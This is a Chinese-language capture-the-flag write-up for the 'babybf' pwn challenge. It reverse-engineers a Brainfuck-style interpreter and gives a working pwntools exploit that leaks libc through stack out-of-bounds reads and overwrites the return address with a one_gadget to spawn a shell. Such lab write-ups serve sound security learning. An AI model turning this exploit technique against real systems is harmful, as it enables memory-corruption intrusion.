babybf
<p>[TOC]</p>
<h1>🌓分析</h1>
<p>IDA的反编译不完全,需要分析汇编代码</p>
<pre><code class="language-asm">.text:00000000000016A7 mov rax, [rbp+var_B0]
.text:00000000000016AE lea rdx, [rax+1]
.text:00000000000016B2 mov [rbp+var_B0], rdx
.text:00000000000016B9 movzx eax, byte ptr [rax]
.text:00000000000016BC movsx eax, al
.text:00000000000016BF cdqe
.text:00000000000016C1 mov rax, [rbp+rax*8+var_80]
.text:00000000000016C6 jmp short loc_16F4</code></pre>
<p>关键代码如图所示,<code>rbp+var_B0</code>存储的是buf保存的指针,获取该指针指向的一个字节,然后将<code>rbp+var_B0</code>值加一,为了下一轮访问,最后计算<code>rbp+rax*8+var_80</code>,也就是匹配对应的函数</p>
<p><img src="https://pic.imgdb.cn/item/6383963416f2c2beb17e5246.png" alt="Img" /></p>
<p>最后跳转到loc_16F4执行<code>jmp rax</code>,执行对应的函数</p>
<p><img src="https://pic.imgdb.cn/item/6383968216f2c2beb17ea596.png" alt="Img" /></p>
<p>其中会对输入做替换操作,替换为对应的操作函数index,这个替换表是一个256的dword数据,用IDAPython进行提取</p>
<pre><code class="language-py">start = 0x2020
end = start + 256*4
li = []
for i in range(start, end, 4):
li.append(get_wide_dword(i))
print(li)
# [8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 2, 5, 3, 4, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 0, 9, 1, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 6, 9, 7, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9]</code></pre>
<p>大部分都是index 9函数,其他index对应表位置为
1 - 0x3e
2 - 0x2b
3 - 0x2d
4 - 0x2e
5 - 0x2c
6 - 0x5b
7 - 0x5d
8 - 0x0
其中index 4函数是打印函数</p>
<p><img src="https://pic.imgdb.cn/item/6383985216f2c2beb1814141.png" alt="Img" /></p>
<p>但是只能打印一个字节</p>
<p><img src="https://pic.imgdb.cn/item/6383992d16f2c2beb182e8ff.png" alt="Img" /></p>
<p>参数是<code>rbp-0xA8</code>,该栈帧一开始存储的是</p>
<p><img src="https://pic.imgdb.cn/item/63839a6116f2c2beb1855779.png" alt="Img" /></p>
<p>也就是一个栈帧地址,而index 1可以对这个地址进行增加</p>
<p><img src="https://pic.imgdb.cn/item/63839b1116f2c2beb185efba.png" alt="Img" /></p>
<p>这样就可以直接实现栈任意读了</p>
<p><img src="https://pic.imgdb.cn/item/63839cdf16f2c2beb1879273.png" alt="Img" /></p>
<p>我们可以利用任意读读取libc函数地址,这个地址距离s的offset为0x58</p>
<pre><code class="language-py">from pwn import*
context.log_level='debug'
o = process('./chall')
def code(context):
o.sendlineafter('len> ', str(len(context)))
o.sendlineafter('code> ', context)
code(p8(0x3e)*0x58 + (p8(0x2e) + p8(0x3e))*8)
o.interactive()</code></pre>
<p><img src="https://pic.imgdb.cn/item/63839e3b16f2c2beb1889b4e.png" alt="Img" /></p>
<p>这样就可以计算libc地址、one_gadget地址了</p>
<p><img src="https://pic.imgdb.cn/item/63839ee216f2c2beb189577c.png" alt="Img" /></p>
<p>index 5函数可以修改一个字节,用泄露同样方法可以直接修改函数返回地址为one_gadeget</p>
<h1>🌓Exploit</h1>
<pre><code class="language-py">from pwn import*
# context.log_level='debug'
o = process('./chall')
libc = ELF('./libc-2.27.so')
def code(context):
o.sendlineafter('len> ', str(len(context)+1))
o.sendafter('code> ', context)
code(p8(0x3e)*0x58 + (p8(0x2e) + p8(0x3e))*8)
libc_start_main = u64(o.recv(8)) - 231
libc_base = libc_start_main - libc.symbols['__libc_start_main']
log.info('libc_base: ' + hex(libc_base))
one_gadget = libc_base + 0x4f302
code(p8(0x3e)*0x38 + (p8(0x2c) + p8(0x3e))*8)
o.sendline(p64(one_gadget))
o.interactive()</code></pre>
<p><img src="https://pic.imgdb.cn/item/6383a7ba16f2c2beb1940ec2.png" alt="Img" /></p>
<h1>🌓附件</h1>
<p><a href="https://cowtransfer.com/s/05c6bbd989b24e">https://cowtransfer.com/s/05c6bbd989b24e</a></p>